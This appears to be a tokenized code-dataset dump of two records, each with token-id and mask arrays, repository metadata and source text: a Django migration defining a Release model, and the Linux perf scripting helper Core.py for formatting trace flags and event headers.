[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
khkaminska/djangoproject.com
releases/migrations/0001_initial.py
9
1131
# -*- coding: utf-8 -*- from __future__ import unicode_literals import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ] operations = [ migrations.CreateModel( name='Release', fields=[ ('version', models.CharField(max_length=16, serialize=False, primary_key=True)), ('date', models.DateField(default=datetime.date.today)), ('major', models.PositiveSmallIntegerField(editable=False)), ('minor', models.PositiveSmallIntegerField(editable=False)), ('micro', models.PositiveSmallIntegerField(editable=False)), ('status', models.CharField(max_length=1, editable=False, choices=[('a', 'alpha'), ('b', 'beta'), ('c', 'rc'), ('f', 'final')])), ('iteration', models.PositiveSmallIntegerField(editable=False)), ('is_lts', models.BooleanField(default=False, verbose_name='Long term support release')), ], options={ }, bases=(models.Model,), ), ]
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 2197, 199, 199, 504, 1639, 14, 697, 492, 6180, 12, 1709, 421, 199, 533, 12090, 8, 7685, 14, 9816, 304, 339, 5124, 275, 359, 272, 1622, 339, 5331, 275, 359, 267, 6180, 14, 14907, 8, 288, 536, 534, 9625, 297, 288, 1504, 1524, 355, 661, 1023, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 975, 12, 8437, 29, 797, 12, 5062, 63, 498, 29, 549, 1826, 355, 661, 602, 297, 1709, 14, 14071, 8, 885, 29, 2083, 14, 602, 14, 8136, 1826, 355, 661, 8452, 297, 1709, 14, 25197, 8, 10820, 29, 797, 1826, 355, 661, 11067, 297, 1709, 14, 25197, 8, 10820, 29, 797, 1826, 355, 661, 6453, 297, 1709, 14, 25197, 8, 10820, 29, 797, 1826, 355, 661, 1205, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 17, 12, 14783, 29, 797, 12, 3415, 11699, 65, 297, 283, 4468, 659, 661, 66, 297, 283, 5683, 659, 661, 67, 297, 283, 1195, 659, 661, 70, 297, 283, 5094, 2023, 395, 355, 661, 12575, 297, 1709, 14, 25197, 8, 10820, 29, 797, 1826, 355, 661, 374, 63, 76, 1086, 297, 1709, 14, 5036, 8, 885, 29, 797, 12, 3376, 63, 354, 534, 9551, 6707, 2291, 4683, 3855, 288, 2156, 288, 1511, 3126, 288, 1660, 288, 9768, 2687, 992, 14, 1685, 4706, 267, 2318, 272, 1622, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 2197, 199, 199, 504, 1639, 14, 697, 492, 6180, 12, 1709, 421, 199, 533, 12090, 8, 7685, 14, 9816, 304, 339, 5124, 275, 359, 272, 1622, 339, 5331, 275, 359, 267, 6180, 14, 14907, 8, 288, 536, 534, 9625, 297, 288, 1504, 1524, 355, 661, 1023, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 975, 12, 8437, 29, 797, 12, 5062, 63, 498, 29, 549, 1826, 355, 661, 602, 297, 1709, 14, 14071, 8, 885, 29, 2083, 14, 602, 14, 8136, 1826, 355, 661, 8452, 297, 1709, 14, 25197, 8, 10820, 29, 797, 1826, 355, 661, 11067, 297, 1709, 14, 25197, 8, 10820, 29, 797, 1826, 355, 661, 6453, 297, 1709, 14, 25197, 8, 10820, 29, 797, 1826, 355, 661, 1205, 297, 1709, 14, 2183, 8, 988, 63, 1267, 29, 17, 12, 14783, 29, 797, 12, 3415, 11699, 65, 297, 283, 4468, 659, 661, 66, 297, 283, 5683, 659, 661, 67, 297, 283, 1195, 659, 661, 70, 297, 283, 5094, 2023, 395, 355, 661, 12575, 297, 1709, 14, 25197, 8, 10820, 29, 797, 1826, 355, 661, 374, 63, 76, 1086, 297, 1709, 14, 5036, 8, 885, 29, 797, 12, 3376, 63, 354, 534, 9551, 6707, 2291, 4683, 3855, 288, 2156, 288, 1511, 3126, 288, 1660, 288, 9768, 2687, 992, 14, 1685, 4706, 267, 2318, 272, 1622, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
RolanDroid/lge_MonsterKernel-JB-Stock
tools/perf/scripts/python/Perf-Trace-Util/lib/Perf/Trace/Core.py
11088
3246
# Core.py - Python extension for perf script, core functions # # Copyright (C) 2010 by Tom Zanussi <tzanussi@gmail.com> # # This software may be distributed under the terms of the GNU General # Public License ("GPL") version 2 as published by the Free Software # Foundation. from collections import defaultdict def autodict(): return defaultdict(autodict) flag_fields = autodict() symbolic_fields = autodict() def define_flag_field(event_name, field_name, delim): flag_fields[event_name][field_name]['delim'] = delim def define_flag_value(event_name, field_name, value, field_str): flag_fields[event_name][field_name]['values'][value] = field_str def define_symbolic_field(event_name, field_name): # nothing to do, really pass def define_symbolic_value(event_name, field_name, value, field_str): symbolic_fields[event_name][field_name]['values'][value] = field_str def flag_str(event_name, field_name, value): string = "" if flag_fields[event_name][field_name]: print_delim = 0 keys = flag_fields[event_name][field_name]['values'].keys() keys.sort() for idx in keys: if not value and not idx: string += flag_fields[event_name][field_name]['values'][idx] break if idx and (value & idx) == idx: if print_delim and flag_fields[event_name][field_name]['delim']: string += " " + flag_fields[event_name][field_name]['delim'] + " " string += flag_fields[event_name][field_name]['values'][idx] print_delim = 1 value &= ~idx return string def symbol_str(event_name, field_name, value): string = "" if symbolic_fields[event_name][field_name]: keys = symbolic_fields[event_name][field_name]['values'].keys() keys.sort() for idx in keys: if not value and not idx: string = symbolic_fields[event_name][field_name]['values'][idx] break if (value == idx): string = symbolic_fields[event_name][field_name]['values'][idx] break return string trace_flags = { 0x00: "NONE", \ 0x01: "IRQS_OFF", \ 0x02: "IRQS_NOSUPPORT", \ 0x04: "NEED_RESCHED", \ 0x08: "HARDIRQ", \ 0x10: "SOFTIRQ" } def trace_flag_str(value): string = "" print_delim = 0 keys = trace_flags.keys() for idx in keys: if not value and not idx: string += "NONE" break if idx and (value & idx) == idx: if print_delim: string += " | "; string += trace_flags[idx] print_delim = 1 value &= ~idx return string def taskState(state): states = { 0 : "R", 1 : "S", 2 : "D", 64: "DEAD" } if state not in states: return "Unknown" return states[state] class EventHeaders: def __init__(self, common_cpu, common_secs, common_nsecs, common_pid, common_comm): self.cpu = common_cpu self.secs = common_secs self.nsecs = common_nsecs self.pid = common_pid self.comm = common_comm def ts(self): return (self.secs * (10 ** 9)) + self.nsecs def ts_format(self): return "%d.%d" % (self.secs, int(self.nsecs / 1000))
gpl-2.0
[ 3, 11672, 14, 647, 446, 2018, 3329, 367, 8582, 2884, 12, 6170, 3423, 199, 3, 199, 3, 1898, 334, 35, 9, 7129, 701, 21644, 29385, 665, 29453, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 2032, 1443, 506, 1854, 1334, 314, 2895, 402, 314, 1664, 1696, 199, 3, 1684, 844, 1689, 12006, 531, 1015, 499, 465, 3267, 701, 314, 2868, 2290, 199, 3, 2752, 14, 199, 199, 504, 5055, 492, 10018, 199, 199, 318, 27477, 837, 272, 372, 10018, 8, 2495, 807, 9, 199, 199, 4173, 63, 955, 275, 27477, 342, 199, 22836, 63, 955, 275, 27477, 342, 199, 199, 318, 5627, 63, 4173, 63, 698, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 21799, 304, 272, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 418, 275, 21799, 199, 199, 318, 5627, 63, 4173, 63, 585, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 12, 901, 63, 495, 304, 272, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 585, 61, 275, 901, 63, 495, 199, 199, 318, 5627, 63, 22836, 63, 698, 8, 1430, 63, 354, 12, 901, 63, 354, 304, 272, 327, 6548, 370, 886, 12, 7710, 272, 986, 199, 199, 318, 5627, 63, 22836, 63, 585, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 12, 901, 63, 495, 304, 272, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 585, 61, 275, 901, 63, 495, 199, 199, 318, 3305, 63, 495, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 304, 272, 1059, 275, 3087, 339, 340, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2189, 199, 198, 1361, 63, 15966, 275, 378, 267, 2883, 275, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 2278, 1612, 342, 267, 2883, 14, 3191, 342, 267, 367, 4280, 315, 2883, 26, 288, 340, 440, 574, 436, 440, 4280, 26, 355, 1059, 847, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 288, 340, 4280, 436, 334, 585, 1253, 4280, 9, 508, 4280, 26, 355, 340, 870, 63, 15966, 436, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 2565, 490, 1059, 847, 298, 298, 435, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 418, 435, 298, 298, 355, 1059, 847, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 870, 63, 15966, 275, 413, 355, 574, 18415, 6146, 2996, 339, 372, 1059, 199, 199, 318, 5272, 63, 495, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 304, 272, 1059, 275, 3087, 339, 340, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2189, 267, 2883, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 2278, 1612, 342, 267, 2883, 14, 3191, 342, 267, 367, 4280, 315, 2883, 26, 288, 340, 440, 574, 436, 440, 4280, 26, 507, 198, 875, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 6722, 340, 334, 585, 508, 4280, 304, 507, 198, 875, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 339, 372, 1059, 199, 199, 3446, 63, 2469, 275, 469, 378, 88, 383, 26, 298, 9185, 401, 971, 490, 378, 88, 614, 26, 298, 3927, 23298, 63, 7517, 401, 971, 490, 378, 88, 996, 26, 298, 3927, 23298, 63, 2826, 10640, 401, 971, 490, 378, 88, 966, 26, 298, 28888, 63, 3830, 22492, 401, 971, 490, 378, 88, 2036, 26, 298, 30958, 3022, 49, 401, 971, 490, 378, 88, 709, 26, 298, 26999, 3927, 49, 2, 789, 199, 199, 318, 3307, 63, 4173, 63, 495, 8, 585, 304, 272, 1059, 275, 3087, 272, 870, 63, 15966, 275, 378, 339, 2883, 275, 3307, 63, 2469, 14, 1612, 342, 339, 367, 4280, 315, 2883, 26, 199, 198, 692, 440, 574, 436, 440, 4280, 26, 6722, 1059, 847, 298, 9185, 2, 6722, 2059, 421, 198, 692, 4280, 436, 334, 585, 1253, 4280, 9, 508, 4280, 26, 6722, 340, 870, 63, 15966, 26, 507, 198, 875, 847, 298, 1204, 28036, 6722, 1059, 847, 3307, 63, 2469, 59, 2996, 61, 6722, 870, 63, 15966, 275, 413, 6722, 574, 18415, 6146, 2996, 339, 372, 1059, 421, 199, 318, 2120, 2223, 8, 929, 304, 199, 198, 4981, 275, 469, 507, 198, 16, 520, 298, 50, 401, 507, 198, 17, 520, 298, 51, 401, 507, 198, 18, 520, 298, 36, 401, 507, 198, 772, 26, 298, 29031, 2, 199, 198, 93, 421, 198, 692, 1174, 440, 315, 6363, 26, 507, 198, 1107, 298, 5912, 2, 421, 198, 1107, 6363, 59, 929, 61, 421, 199, 533, 6763, 9883, 26, 199, 198, 318, 636, 826, 721, 277, 12, 2863, 63, 3541, 12, 2863, 63, 4855, 12, 2863, 63, 9618, 12, 686, 258, 2863, 63, 3150, 12, 2863, 63, 1404, 304, 507, 198, 277, 14, 3541, 275, 2863, 63, 3541, 507, 198, 277, 14, 4855, 275, 2863, 63, 4855, 507, 198, 277, 14, 9618, 275, 2863, 63, 9618, 507, 198, 277, 14, 3150, 275, 2863, 63, 3150, 507, 198, 277, 14, 1404, 275, 2863, 63, 1404, 421, 198, 318, 6714, 8, 277, 304, 507, 198, 1107, 334, 277, 14, 4855, 627, 334, 709, 1011, 1749, 430, 435, 291, 14, 9618, 421, 198, 318, 6714, 63, 908, 8, 277, 304, 507, 198, 1107, 2071, 68, 4111, 68, 2, 450, 334, 277, 14, 4855, 12, 1109, 8, 277, 14, 9618, 1182, 5198, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
